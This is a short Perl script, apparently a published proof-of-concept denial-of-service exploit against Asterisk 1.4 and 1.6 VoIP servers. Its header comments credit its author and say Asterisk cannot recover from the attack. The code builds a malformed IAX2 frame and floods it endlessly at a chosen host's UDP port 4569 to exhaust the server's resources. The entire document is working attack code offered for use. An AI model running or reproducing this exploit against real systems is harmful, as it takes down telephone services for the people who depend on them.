#!/usr/bin/perl -w #copywrite Blake Cornell # http://www.securityscraper.com/ # for more info #Asterisk 1.4,1.6 et. al. # Resource Exhaustion # Asterisk cannot recover #goto http://www.voip0day.com for more information
use strict; use IO::Socket; use Getopt::Long; use Pod::Usage;
my $result = GetOptions('host|h=s' => \(my $host = '')) or pod2usage(2);
if(!$host) { print "-h, Enter host"; exit 1; }
my $src_call = "8000"; my $dst_call = "0000"; my $timestamp = "00000000"; my $outbound_seq = "00"; my $inbound_seq = "00"; my $frame = "06"; my $type = "01"; my $ie = "01"; my $out_msg = pack("H*",$src_call.$dst_call.$timestamp.$outbound_seq.$inbound_seq.$frame.$type.$ie."00ffff");
socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp")); for(my $i=1;1==1;$i++) { print "Sending: $i\n"; sendUDPSocket($out_msg,$host,4569); }
sub sendUDPSocket { my($msg,$target,$port,@args)=@_;
my $ipaddr = inet_aton($target); my $sin = sockaddr_in($port,$ipaddr); send(PING, $msg, 0, $sin) == length($out_msg) or die "cannot send to $target : $port : $!\n"; }
|